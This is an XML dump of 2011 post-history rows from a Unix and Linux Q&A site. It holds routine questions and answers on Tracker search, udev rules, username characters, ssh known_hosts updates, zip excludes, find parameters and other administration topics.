  <row Id="14940" PostHistoryTypeId="5" PostId="6522" RevisionGUID="4bcf5016-2317-4909-9a33-0f597cfde416" CreationDate="2011-01-27T08:16:29.437" UserId="688" Comment="deleted 9 characters in body" Text="There currently are two streams of Tracker, stable (0.8) and unstable (0.9). Your OS likely has the 0.8 version, so if you can afford it (it has some [bleeding edge][1] software dependencies), go grab the latest tarfile (0.9.x). It has [lots of improvements][2] over 0.8, and is currently [being stabilized][3] further in order to be 0.10 (even numbers represent stability). If you choose to go this route, use this command to configure:&#xD;&#xA;&#xD;&#xA;    ./configure --disable-tracker-needle --disable-tracker-preferences --disable-tracker-explorer --disable-tracker-status-icon&#xD;&#xA;&#xD;&#xA;You are likely not going to have the dependencies installed, so it should be esier to simply install 0.8 from your distro, and just avoid the GUI bits. On Debian Squeeze, Ubuntu 10.10, and Ubuntu 11.04, these are nicely split. So ([as root][4]) run:&#xD;&#xA;&#xD;&#xA;    apt-get install --no-install-recommends tracker-utils tracker-miner-fs&#xD;&#xA;&#xD;&#xA;The CLI tool for this is `tracker-search`, so run it with the `--help` option to see how to take advantage of it :-)&#xD;&#xA;&#xD;&#xA;**notes**:&#xD;&#xA;&#xD;&#xA;* On Fedora 14, the Tracker package has dependencies on GTK+. I guess it's because it includes things like `tracker-applet` and `tracker-preferences`. They do however have a separate package for `tracker-search-tool`, the GUI search interface.&#xD;&#xA;* DjVu and ePUB aren't (yet) supported. Here's [a list of of what is][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git.gnome.org/browse/tracker/tree/configure.ac&#xD;&#xA;  [2]: http://live.gnome.org/Tracker/Roadmap&#xD;&#xA;  [3]: http://pvanhoof.be/blog/index.php/2011/01/26/all-quiet-on-the-tracker-front&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root&#xD;&#xA;  [5]: http://live.gnome.org/Tracker/SupportedFormats" />
  <row Id="14941" PostHistoryTypeId="2" PostId="6524" RevisionGUID="037274eb-fcfd-40ef-803e-078809b33571" CreationDate="2011-01-27T08:29:07.773" UserId="3372" Text="Probably it's not serial but FTDI, so you can try this way:&#xD;&#xA;&#xD;&#xA;1) Get the serial&#xD;&#xA;&#xD;&#xA;    sudo udevadm info --attribute-walk -n /dev/ttyUSB0  | sed -n '/FTDI/,/serial/p'&#xD;&#xA;&#xD;&#xA;2) Create the rule and substitute the XXXXXXXX with the serial you found or a FAKE serial&#xD;&#xA;&#xD;&#xA;    sudo echo 'SUBSYSTEM==&quot;tty&quot;, ATTRS{serial}==&quot;XXXXXXXX&quot;, GROUP=&quot;users&quot;, MODE=&quot;0660&quot;, SYMLINK+=&quot;myusbphone&quot;' | sudo tee /etc/udev/rules.d/99-myusbphone.rules&#xD;&#xA;&#xD;&#xA;3) Reload the rules&#xD;&#xA;&#xD;&#xA;    sudo udevadm control --reload-rules&#xD;&#xA;&#xD;&#xA;Hope it helps...&#xD;&#xA;&#xD;&#xA;In the case try to contact the author of this [article][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.islandlabs.org/wiki/project/bus_pirate" />
  <row Id="14942" PostHistoryTypeId="2" PostId="6525" RevisionGUID="0a67668e-ee49-4106-b9fe-7022cafb1052" CreationDate="2011-01-27T10:31:10.850" UserId="688" Text="I'm using VirtualBox OSE and recently, when I run Ubuntu 10.10 on it, my machine tends to hang, forcing me to hard-reset it (not good). How do I start finding where the problem is?&#xD;&#xA;&#xD;&#xA;Here's the last line from &quot;**/var/log/syslog**&quot;, before the reset:&#xD;&#xA;&#xD;&#xA;    Jan 27 12:11:22 debian kernel: [  193.400230] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use)&#xD;&#xA;&#xD;&#xA;**notes**:&#xD;&#xA;&#xD;&#xA;* VirtualBox OSE is version **3.2.10**&#xD;&#xA;* I use 32-bit **2.6.37** kernel on Debian Squeeze&#xD;&#xA;* I can't reproduce this problem when using Fedora 14 VM&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14943" PostHistoryTypeId="1" PostId="6525" RevisionGUID="0a67668e-ee49-4106-b9fe-7022cafb1052" CreationDate="2011-01-27T10:31:10.850" UserId="688" Text="What's causing VirtualBox OSE to hang my machine?" />
  <row Id="14944" PostHistoryTypeId="3" PostId="6525" RevisionGUID="0a67668e-ee49-4106-b9fe-7022cafb1052" CreationDate="2011-01-27T10:31:10.850" UserId="688" Text="élinuxàédebianàévirtualömachineàévirtualboxà" />
  <row Id="14945" PostHistoryTypeId="2" PostId="6526" RevisionGUID="961bd4f1-7f85-4bb4-8ae2-d6be49c47f77" CreationDate="2011-01-27T11:11:28.820" UserId="2518" Text="So why has the underscore been considered a bad character for user names in Debian (and possibly other distributions) while it has been removed from `adduser`'s NAME_REGEX in Ubuntu?" />
  <row Id="14946" PostHistoryTypeId="1" PostId="6526" RevisionGUID="961bd4f1-7f85-4bb4-8ae2-d6be49c47f77" CreationDate="2011-01-27T11:11:28.820" UserId="2518" Text="Why are underscores not allowed in usernames in some distros (Debian for example)" />
  <row Id="14947" PostHistoryTypeId="3" PostId="6526" RevisionGUID="961bd4f1-7f85-4bb4-8ae2-d6be49c47f77" CreationDate="2011-01-27T11:11:28.820" UserId="2518" Text="éusersà" />
  <row Id="14948" PostHistoryTypeId="25" PostId="6525" RevisionGUID="d4d1c1fe-54f1-4f7d-8b5f-99e64f328d10" CreationDate="2011-01-27T11:15:54.913" Comment="http://twitter.com/#!/StackUnix/status/30584781544620032" />
  <row Id="14951" PostHistoryTypeId="5" PostId="3086" RevisionGUID="470f38b7-2749-4b09-8e8b-7917d4010819" CreationDate="2011-01-27T11:23:42.317" UserId="1791" Comment="deleted 3 characters in body" Text="Is there such a thing as a full-text indexing engine, that can be queried from the command line and ideally wouldn't require using a gui at all ?&#xD;&#xA;&#xD;&#xA;I'm especially interested in indexing my ebooks and papers, so that's a mixture of pdf, epub and a few djvu. (Open)Office docs would be nice, but much lower on my list." />
  <row Id="14952" PostHistoryTypeId="2" PostId="6528" RevisionGUID="87c35a6f-9310-4b87-a7f5-ae8e09509700" CreationDate="2011-01-27T11:27:00.483" UserId="688" Text="I'm using Debian Squeeze and I managed to create a user with underscore, `adduser user_1`. Why do you say they are not allowed?" />
  <row Id="14953" PostHistoryTypeId="2" PostId="6529" RevisionGUID="719a43b6-85ad-4043-ad23-03038b4dca9c" CreationDate="2011-01-27T12:11:05.887" UserId="3372" Text="A similar question has already been answered [here][1]&#xD;&#xA;&#xD;&#xA;Theoretically you can use ans ASCII character you want as username, but, to avoid some kind of bugs, like to one mentioned in the above article, you can set that regular expression that avoid certain issues.&#xD;&#xA;&#xD;&#xA;I hope it helps...&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/73084/what-characters-should-i-use-or-not-use-in-usernames-on-linux/73101#73101" />
  <row Id="14954" PostHistoryTypeId="2" PostId="6530" RevisionGUID="d2d18407-8945-4829-91bb-db82f1134a7c" CreationDate="2011-01-27T12:20:56.070" UserId="250" Text="Many times I have seen the note telling users not to update their repositories too often (i.e more than once a day) because that will put a stress too large for the servers. Also I understand that it takes monstrous machines for such repositories.&#xD;&#xA;&#xD;&#xA;I am wondering if there is something like BitTorrent for package management? Or if there isn't, is it feasible to have such a system?&#xD;&#xA;&#xD;&#xA;(I'm thinking about a system where each user keeps the packages that they have and serve it in the same fashion as BitTorrent.)" />
  <row Id="14955" PostHistoryTypeId="1" PostId="6530" RevisionGUID="d2d18407-8945-4829-91bb-db82f1134a7c" CreationDate="2011-01-27T12:20:56.070" UserId="250" Text="Distributed package repository for Linux?" />
  <row Id="14956" PostHistoryTypeId="3" PostId="6530" RevisionGUID="d2d18407-8945-4829-91bb-db82f1134a7c" CreationDate="2011-01-27T12:20:56.070" UserId="250" Text="épackageömanagementà" />
  <row Id="14957" PostHistoryTypeId="2" PostId="6531" RevisionGUID="1c6e207d-90f5-4d39-924d-fafea49ecfa3" CreationDate="2011-01-27T12:33:31.180" UserId="3069" Text="POSIX [specifies][1] the usage of a portable [set][2] of characters for user and group names.  &#xD;&#xA;`_ - .` are allowed characters, `NAME_REGEX` checks if the username does only contain specified characters. The distribution developers define, if further characters are denied. Ubuntu, for example, does forbid the use of `.` by default.&#xD;&#xA;&#xD;&#xA;Adding this restriction avoids interference with other system tools, which may interpret special characters. Think of the variable `$PATH`, when you have a user with the name `my:user` and add your home directory to `$PATH`:&#xD;&#xA;&#xD;&#xA;`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:`**`/home/my:user/bin`**&#xD;&#xA;&#xD;&#xA;The directories `/home/my` and `user/bin` would (probably) not exist. Further, `/etc/passwd` would have two `:` more than needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_426&#xD;&#xA;  [2]: http://www.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_276" />
  <row Id="14958" PostHistoryTypeId="5" PostId="6531" RevisionGUID="7347d1d7-618c-411f-838f-d04f499b632b" CreationDate="2011-01-27T13:45:03.790" UserId="3069" Comment="added 179 characters in body" Text="POSIX [specifies][1] the usage of a portable [set][2] of characters for user and group names.  &#xD;&#xA;`_ - .` are allowed characters, `NAME_REGEX` checks if the username does only contain specified characters. The distribution developers define, if further characters are denied. Ubuntu, for example, does forbid the use of `.` by default.&#xD;&#xA;&#xD;&#xA;Adding this restriction avoids interference with other system tools, which may interpret special characters. Think of the variable `$PATH`, when you have a user with the name `my:user` and add your home directory to `$PATH`:&#xD;&#xA;&#xD;&#xA;`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:`**`/home/my:user/bin`**&#xD;&#xA;&#xD;&#xA;The directories `/home/my` and `user/bin` would (probably) not exist. Further, `/etc/passwd` would have two `:` more than needed.&#xD;&#xA;&#xD;&#xA;**Edit:**  &#xD;&#xA;Debian's `adduser` (version 3.110) uses `/^[_.A-Za-z0-9][-\@_.A-Za-z0-9]*\$?$/` for checking usernames, `_` **is** allowed as long as `NAME_REGEX` does not forbid it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_426&#xD;&#xA;  [2]: http://www.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap03.html#tag_03_276" />
  <row Id="14959" PostHistoryTypeId="2" PostId="6532" RevisionGUID="444d0fc6-7b6b-4261-82f0-51a6b6451e41" CreationDate="2011-01-27T13:45:42.303" UserId="2932" Text="Also, if this is within a corporate setting, you can setup local mirrors and/or proxies to alleviate this problem. There is no need for a bittorrent that way. If you are using a Debian based distribution, you can already just use *apt-cacher/apt-proxy* to do it." />
  <row Id="14960" PostHistoryTypeId="25" PostId="6530" RevisionGUID="605569b2-2e06-4096-ab05-d5f54785e2e9" CreationDate="2011-01-27T14:15:55.647" Comment="http://twitter.com/#!/StackUnix/status/30630083127410688" />
  <row Id="14961" PostHistoryTypeId="2" PostId="6533" RevisionGUID="011e06f5-d1e7-4779-b273-3cba7210a883" CreationDate="2011-01-27T14:37:00.640" UserId="2518" Text="If a host's operating system has been re-installed and had its public key regenerated sshing to it will of course fail because the new key doesn't match the old one.&#xD;&#xA;&#xD;&#xA;Is there an easier way to tell ssh that you know that the host's key has changed and that you want it to be updated. I think it feels a bit error-prone to use a text editor or something like sed to remove the offending line." />
  <row Id="14962" PostHistoryTypeId="1" PostId="6533" RevisionGUID="011e06f5-d1e7-4779-b273-3cba7210a883" CreationDate="2011-01-27T14:37:00.640" UserId="2518" Text="Is there an easy way to update information in known_hosts when you know that a hosts key has changed?" />
  <row Id="14963" PostHistoryTypeId="3" PostId="6533" RevisionGUID="011e06f5-d1e7-4779-b273-3cba7210a883" CreationDate="2011-01-27T14:37:00.640" UserId="2518" Text="ésshàékeyöauthenticationà" />
  <row Id="14964" PostHistoryTypeId="2" PostId="6534" RevisionGUID="4971588f-85d9-4973-a430-eaf7245de9d3" CreationDate="2011-01-27T14:49:35.540" UserId="3976" Text="Use `ssh-keygen -R hostname` to remove the hostname from your known_hosts file." />
  <row Id="14965" PostHistoryTypeId="2" PostId="6535" RevisionGUID="8746722f-003e-416b-a76c-5f384dfaaa13" CreationDate="2011-01-27T15:07:38.847" UserId="3309" Text="You can try setting up a sort of apache based load balancer and specify several different mirrors as the &quot;back&quot; end. Each time you hit your proxy a different real mirror will be hit, thereby spreading your requests among several mirrors.&#xD;&#xA;&#xD;&#xA;But, most mirrors only update once a day. A single mirroring job can be lengthy, especially when there's a large update. For mirror operators more than once per day usually is not worth it, and mirroring frequently puts much more stress on the upstream than a simple `apt-get update`.&#xD;&#xA;&#xD;&#xA;Remember, mirrors and distributions are often done on a volunteer basis. Those volunteers have to pay big bucks for bandwidth, storage, electricity, cooling, etc.&#xD;&#xA;&#xD;&#xA;I operate a Debian mirror myself. Please, help us out and don't slam us too hard." />
  <row Id="14966" PostHistoryTypeId="5" PostId="6534" RevisionGUID="54ed402b-0f04-4df4-a770-c297aaf26476" CreationDate="2011-01-27T15:13:51.293" UserId="3976" Comment="just expanded on the explaination." Text="Use `ssh-keygen -R hostname` to remove the hostname from your known_hosts file.  The next time you connect, the new host key will be added to your known_hosts file." />
  <row Id="14967" PostHistoryTypeId="2" PostId="6536" RevisionGUID="e3bf1893-b8fe-4e46-9e69-f5ac2b37a001" CreationDate="2011-01-27T15:17:26.640" UserId="3976" Text="The Postfix web site lists [several mailing list managers][1]. Majordomo is listed there, and is pretty common, and I know it has run on systems with fewer resources than you've mentioned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.postfix.org/addon.html#lists" />
  <row Id="14968" PostHistoryTypeId="2" PostId="6537" RevisionGUID="dba9ea9e-bbba-4f09-8f5e-fa34be6b9f18" CreationDate="2011-01-27T15:55:14.080" UserId="3372" Text="Indeed it's possible and of course it exists!&#xD;&#xA;&#xD;&#xA;You can perform a better google search like &#xD;&#xA;&#xD;&#xA;&gt; linux p2p based software repository&#xD;&#xA;&#xD;&#xA;One of the first result it's a really interesting paper:&#xD;&#xA;&#xD;&#xA;[A P2P-Based Architecture for Secure Software Delivery Using Volunteer Assistance][1]&#xD;&#xA;&#xD;&#xA;Another interesting paper is &quot;[Simulation platform for distributed package management network][2]&quot;&#xD;&#xA;&#xD;&#xA;Where they introduce the &quot;Repository-less Package Management Network&quot; , that is another revealing search experience you can perform with google.&#xD;&#xA;&#xD;&#xA;So yes, it's possible and it's indeed a really interesting subject.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.p2p08.org/program/sessions/08-cooperative-systems/1%20-%20P2p08.pdf/at_download/file&#xD;&#xA;  [2]: http://enstb.org/~gsimon/Resources/sujet_master_2011.pdf" />
  <row Id="14969" PostHistoryTypeId="2" PostId="6538" RevisionGUID="d65e036d-4551-453d-a494-1cb0acc98f97" CreationDate="2011-01-27T16:06:31.963" UserId="4041" Text="On my desktop Xorg leaks a lot of memory. I use to let this machine on for days (weeks, months ...), but about once a week I'm forced to restart xorg, because it is taking too much memory.&#xD;&#xA;&#xD;&#xA;Am I the only one affected by this issue? Why does this is happen?  &#xD;&#xA;Is it xorg to be _bugged_, or is it something else (maybe some xorg modules)?  &#xD;&#xA;Can I do anything to avoid it?" />
  <row Id="14970" PostHistoryTypeId="1" PostId="6538" RevisionGUID="d65e036d-4551-453d-a494-1cb0acc98f97" CreationDate="2011-01-27T16:06:31.963" UserId="4041" Text="xorg memory leaks" />
  <row Id="14971" PostHistoryTypeId="3" PostId="6538" RevisionGUID="d65e036d-4551-453d-a494-1cb0acc98f97" CreationDate="2011-01-27T16:06:31.963" UserId="4041" Text="élinuxàéxorgà" />
  <row Id="14972" PostHistoryTypeId="6" PostId="6538" RevisionGUID="0863810e-c16c-47ec-acb2-1b0b589d8b09" CreationDate="2011-01-27T16:16:03.633" UserId="688" Comment="edited tags" Text="élinuxàéxorgàémemoryöleaksà" />
  <row Id="14973" PostHistoryTypeId="2" PostId="6539" RevisionGUID="564de267-072f-4efa-a9ac-075ac9d1b61e" CreationDate="2011-01-27T16:16:22.493" UserId="3635" Text="Here is an Ubuntu bug report for a memory leak in Xorg: [https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/565981][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does that help at all?&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/565981" />
  <row Id="14974" PostHistoryTypeId="5" PostId="6538" RevisionGUID="cd4259e5-31be-4c8b-a623-85eeb15e6d5a" CreationDate="2011-01-27T16:18:59.753" UserId="4041" Comment="added 103 characters in body; added 75 characters in body" Text="On my desktop Xorg leaks a lot of memory. I use to let this machine on for days (weeks, months ...), but about once a week I'm forced to restart xorg, because it is taking too much memory.&#xD;&#xA;&#xD;&#xA;Am I the only one affected by this issue? Why does this is happen?  &#xD;&#xA;Is it xorg to be _bugged_, or is it something else (maybe some xorg modules)?  &#xD;&#xA;Can I do anything to avoid it?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Some more infos:&#xD;&#xA;&#xD;&#xA;I'm on ArchLinux, kernel 2.6.36, nvidia drivers 260.19.36, gnome 2.32.1.&#xD;&#xA;&#xD;&#xA;Anyway I've got this issue from a lot of time, like more than one year." />
  <row Id="14975" PostHistoryTypeId="2" PostId="6540" RevisionGUID="0bc818d7-3464-420c-a839-5165cfb06597" CreationDate="2011-01-27T16:40:16.363" UserId="4246" Text="I've got a bash script that does something like this:&#xD;&#xA;&#xD;&#xA;zip -0 ../backup/backup.zip \&#xD;&#xA;-r ./* \&#xD;&#xA;-x \*CVS\* \&#xD;&#xA;-x *Thumbs.db* \&#xD;&#xA;&#xD;&#xA;The directory it's backing up is a SVN archive (it used to be CVS back in the day).  I've been unable to get it to exclude .svn and it's contents.  What's the cleanest way to exclude .svn (recursively through the entire tree)." />
  <row Id="14976" PostHistoryTypeId="1" PostId="6540" RevisionGUID="0bc818d7-3464-420c-a839-5165cfb06597" CreationDate="2011-01-27T16:40:16.363" UserId="4246" Text="Excluding a directory when zipping files" />
  <row Id="14977" PostHistoryTypeId="3" PostId="6540" RevisionGUID="0bc818d7-3464-420c-a839-5165cfb06597" CreationDate="2011-01-27T16:40:16.363" UserId="4246" Text="ébashàéscriptingàéunixàézipà" />
  <row Id="14978" PostHistoryTypeId="5" PostId="6540" RevisionGUID="d23a2f74-15a7-42f8-abc7-a0b2f6762988" CreationDate="2011-01-27T16:50:42.513" UserId="3069" Comment="added 16 characters in body; edited tags" Text="I've got a bash script that does something like this:&#xD;&#xA;&#xD;&#xA;    zip -0 ../backup/backup.zip \&#xD;&#xA;    -r ./* \&#xD;&#xA;    -x \*CVS\* \&#xD;&#xA;    -x *Thumbs.db* \&#xD;&#xA;&#xD;&#xA;The directory it's backing up is a SVN archive (it used to be CVS back in the day).  I've been unable to get it to exclude .svn and it's contents.  What's the cleanest way to exclude .svn (recursively through the entire tree)?" />
  <row Id="14979" PostHistoryTypeId="6" PostId="6540" RevisionGUID="d23a2f74-15a7-42f8-abc7-a0b2f6762988" CreationDate="2011-01-27T16:50:42.513" UserId="3069" Comment="added 16 characters in body; edited tags" Text="ébashàéscriptingàézipà" />
  <row Id="14980" PostHistoryTypeId="25" PostId="6533" RevisionGUID="c47fa47c-e201-4785-bed7-13f0e54c3863" CreationDate="2011-01-27T17:15:56.117" Comment="http://twitter.com/#!/StackUnix/status/30675383611297792" />
  <row Id="14981" PostHistoryTypeId="2" PostId="6541" RevisionGUID="f8eea9fd-38da-4f68-b7e7-c4b9ef84432f" CreationDate="2011-01-27T17:29:55.723" UserId="3069" Text="    zip -0 ../backup/backup.zip -r . -x &quot;*CVS*&quot; &quot;*Thumbs.db*&quot; &quot;*.svn*&quot;&#xD;&#xA;&#xD;&#xA;`-x` also accepts a list of excludes.&#xD;&#xA;&#xD;&#xA;Alternatively, create a filelist with your excludes and add them there.  &#xD;&#xA;The exclude.lst:&#xD;&#xA;&#xD;&#xA;    *CVS*&#xD;&#xA;    *Thumbs.db*&#xD;&#xA;    *.svn*&#xD;&#xA;    exclude.lst&#xD;&#xA;&#xD;&#xA;with the command:&#xD;&#xA;&#xD;&#xA;    zip -0 ../backup/backup.zip -r . -x@exclude.lst&#xD;&#xA;" />
  <row Id="14982" PostHistoryTypeId="5" PostId="5205" RevisionGUID="2f2c5634-5374-41d5-a18e-a8cf65ffcc25" CreationDate="2011-01-27T17:47:31.333" UserId="85" Comment="added 152 characters in body" Text="**Edit:** my answer is about &quot;how to install Mono without root access&quot;. Clearly Miguel's answer about Mono not working on AIX makes the rest moot.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alex is right, you can install in your home directory.&#xD;&#xA;&#xD;&#xA;Full instructions for installing Mono outside of /usr are available here:&#xD;&#xA;&#xD;&#xA;http://www.mono-project.com/Parallel_Mono_Environments&#xD;&#xA;&#xD;&#xA;Following these instructions is helpful if, for example, somebody installed Mono in /usr later on but you wanted to keep using your version." />
  <row Id="14983" PostHistoryTypeId="2" PostId="6542" RevisionGUID="04cb6add-75f6-4064-81ef-1c93d9f53a80" CreationDate="2011-01-27T18:30:16.957" UserId="4249" Text="I gather that bash has a &quot;magic space&quot; function, where if I do e.g. `sudo !!&lt;space&gt;` it will blow in `sudo ./my_last_command`. Does something similar exist in fish?" />
  <row Id="14984" PostHistoryTypeId="1" PostId="6542" RevisionGUID="04cb6add-75f6-4064-81ef-1c93d9f53a80" CreationDate="2011-01-27T18:30:16.957" UserId="4249" Text="Does Fish have a &quot;magic space&quot;?" />
  <row Id="14985" PostHistoryTypeId="3" PostId="6542" RevisionGUID="04cb6add-75f6-4064-81ef-1c93d9f53a80" CreationDate="2011-01-27T18:30:16.957" UserId="4249" Text="éshellàéfishà" />
  <row Id="14986" PostHistoryTypeId="2" PostId="6543" RevisionGUID="1bd3ad3b-e20d-4884-9682-1a5be8f43f91" CreationDate="2011-01-27T18:40:49.207" UserId="3976" Text="From the FAQ in the source (I can't find any documentation online):&#xD;&#xA;&#xD;&#xA;&gt;  Why doesn't history&#xD;&#xA;&gt; substitution (&quot;!$&quot; etc.) work?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Because history substitution is an&#xD;&#xA;&gt; awkward interface that was invented&#xD;&#xA;&gt; before interactive line editing was&#xD;&#xA;&gt; even possible.  Fish drops it in favor&#xD;&#xA;&gt; of perfecting the interactive history&#xD;&#xA;&gt; recall interface.  Switching requires&#xD;&#xA;&gt; a small change of habits: if you want&#xD;&#xA;&gt; to modify an old line/word, first&#xD;&#xA;&gt; recall it, then edit.  E.g. don't type&#xD;&#xA;&gt; &quot;sudo !!&quot; - first press Up, then Home,&#xD;&#xA;&gt; then type &quot;sudo &quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14987" PostHistoryTypeId="2" PostId="6544" RevisionGUID="e75c3137-b5d6-48c2-aad6-9d8f95d14463" CreationDate="2011-01-27T19:11:40.377" UserId="3397" Text="Okay found it...on http://android.git.kernel.org it is located in kernel/linux-2.6.git/drivers/usb/" />
  <row Id="14988" PostHistoryTypeId="2" PostId="6545" RevisionGUID="1cb0ead3-cb67-439b-9d3a-df4e9caf3a13" CreationDate="2011-01-27T19:15:33.033" UserId="885" Text="    zip ../backup/backup.zip \&#xD;&#xA;      -x '/CVS/*' -x '*/CVS/*' \&#xD;&#xA;      -x '/.svn/*' -x '*/.svn/*' \&#xD;&#xA;      -x '/Thumbs.db' -x '*/Thumbs.db' \&#xD;&#xA;      -r .&#xD;&#xA;&#xD;&#xA;Note that your exclude patterns as posted aren't quite right, they exclude any file or directory whose name *contains* `CVS`.&#xD;&#xA;" />
  <row Id="14989" PostHistoryTypeId="2" PostId="6546" RevisionGUID="19fe0d3c-1028-4209-a916-4d753ea454ce" CreationDate="2011-01-27T19:21:55.890" UserId="3811" Text="What is the best place to get an updated nVidia video driver for CentOS 5.5? Is there a CentOS package available that will update it? Or is it best to download it directly from nVidia?&#xD;&#xA;&#xD;&#xA;Also, I do not have an internet connection on the machine, so it will have to be a manual download and installation.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;DemiSheep" />
  <row Id="14990" PostHistoryTypeId="1" PostId="6546" RevisionGUID="19fe0d3c-1028-4209-a916-4d753ea454ce" CreationDate="2011-01-27T19:21:55.890" UserId="3811" Text="Best place to get nVidia driver update for CentOS 5.5" />
  <row Id="14991" PostHistoryTypeId="3" PostId="6546" RevisionGUID="19fe0d3c-1028-4209-a916-4d753ea454ce" CreationDate="2011-01-27T19:21:55.890" UserId="3811" Text="écentosàédriversà" />
  <row Id="14992" PostHistoryTypeId="2" PostId="6547" RevisionGUID="33f52c81-7f9f-4214-84ca-ce4662a3314d" CreationDate="2011-01-27T19:55:57.490" UserId="3558" Text="I'm running the following bash command:&#xD;&#xA;&#xD;&#xA;    find . \( -iname '*.aif' -o -iname '*.pdf' -o -iname '*.exe' -o -iname '*.mov' \&#xD;&#xA;        -o -iname '*.doc' \) -exec rm -f {} \;&#xD;&#xA;&#xD;&#xA;I'm running the same parameters in another call to `find` later on in the script. Is there any way to store the `\( -iname '*.aif' -o -iname '*.pdf' -o -iname '*.exe' \&#xD;&#xA;        -o -iname '*.mov' -o -iname '*.doc' \)` part in a variable?" />
  <row Id="14993" PostHistoryTypeId="1" PostId="6547" RevisionGUID="33f52c81-7f9f-4214-84ca-ce4662a3314d" CreationDate="2011-01-27T19:55:57.490" UserId="3558" Text="Storing `find` parameters in a variable" />
  <row Id="14994" PostHistoryTypeId="3" PostId="6547" RevisionGUID="33f52c81-7f9f-4214-84ca-ce4662a3314d" CreationDate="2011-01-27T19:55:57.490" UserId="3558" Text="ébashàéshellöscriptàéfindà" />
  <row Id="14995" PostHistoryTypeId="25" PostId="6542" RevisionGUID="d274d8ca-d4d0-4531-b480-ee6edb183a9e" CreationDate="2011-01-27T20:15:57.170" Comment="http://twitter.com/#!/StackUnix/status/30720686209114112" />
  <row Id="14996" PostHistoryTypeId="2" PostId="6548" RevisionGUID="aa35fc87-6345-4529-8d88-b8bea7e9eb03" CreationDate="2011-01-27T20:21:38.147" UserId="885" Text="In ksh, bash or zsh, use an array variable.&#xD;&#xA;&#xD;&#xA;    find_parameters=(\( -iname '*.aif' -o … -iname '*.doc' \))&#xD;&#xA;    find . &quot;${find_parameters[@]}&quot;&#xD;&#xA;&#xD;&#xA;In other shells, there's no good way (there are complex and brittle ways but I don't recommend them unless you really need them). If you need a single array, you can use the positional parameters:&#xD;&#xA;&#xD;&#xA;    set \( -iname '*.aif' -o … -iname '*.doc' \)&#xD;&#xA;    find . &quot;$@&quot;&#xD;&#xA;" />
  <row Id="14997" PostHistoryTypeId="2" PostId="6549" RevisionGUID="b5257967-e700-40c7-bcca-0d0753e837dd" CreationDate="2011-01-27T20:31:32.347" UserId="1974" Text="Ok, this may sound like an odd request but it really has a good purpose! I have a Panasonic Plasma TV with an SD card slot, via which I can display a slideshow of JPEG photos. This is useful for preventing burn-in, if I step away from the TV for a few moments while cooking, or if I answer the phone, or whatever, it's handy to just start the slideshow to prevent a static image from showing up, and also let me see photos while I do something else.&#xD;&#xA;&#xD;&#xA;The problem is the slideshow always starts from the first photo alphabetically, meaning I always see the same images and never get to the end. What I'd like to do is have a script on my Unix machine which I can run on the SD card (mounted at `/media/sdcard`) and have it randomize the names of all the files under that directory. Doesn't *really* matter how it randomizes them but I'd *prefer* purely numeric names (for no apparently reason)&#xD;&#xA;&#xD;&#xA;Is there an easy way to accomplish this? Something like `find /media/sdcard -exec mv {} rand() \;`?&#xD;&#xA;&#xD;&#xA;For bonus points, any way to prevent the script from *overwriting* two files in the event that there's a collision? These are copies of photos so if I lose one I still have the original, but still that would be inconvenient..." />
  <row Id="14998" PostHistoryTypeId="1" PostId="6549" RevisionGUID="b5257967-e700-40c7-bcca-0d0753e837dd" CreationDate="2011-01-27T20:31:32.347" UserId="1974" Text="How can I randomize file names in a given directory?" />
  <row Id="14999" PostHistoryTypeId="3" PostId="6549" RevisionGUID="b5257967-e700-40c7-bcca-0d0753e837dd" CreationDate="2011-01-27T20:31:32.347" UserId="1974" Text="éfilenamesàérandomà" />
  <row Id="15000" PostHistoryTypeId="2" PostId="6550" RevisionGUID="bbf6156d-fcb8-4b95-a811-2cb205970070" CreationDate="2011-01-27T20:45:14.790" UserId="3976" Text="I prefer to use the packages found at [ELRepo][1].  You will probably need the kmod-nvidia and the nvidia-x11-drv package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://elrepo.org/tiki/tiki-index.php" />
  <row Id="15001" PostHistoryTypeId="2" PostId="6551" RevisionGUID="1d53b8b3-2acf-4260-bede-38856eb20bc6" CreationDate="2011-01-27T20:49:07.663" UserId="29" Text="I need to set some environment variables such as the XDG spec ones, before KDE starts in such a way that kwin and any apps run from KDE will inherit them. Where could I do this, and how?" />
  <row Id="15002" PostHistoryTypeId="1" PostId="6551" RevisionGUID="1d53b8b3-2acf-4260-bede-38856eb20bc6" CreationDate="2011-01-27T20:49:07.663" UserId="29" Text="How can I set env variables so that KDE recognizes them?" />
  <row Id="15003" PostHistoryTypeId="3" PostId="6551" RevisionGUID="1d53b8b3-2acf-4260-bede-38856eb20bc6" CreationDate="2011-01-27T20:49:07.663" UserId="29" Text="ékdeàéenvironmentövariablesàékwinà" />
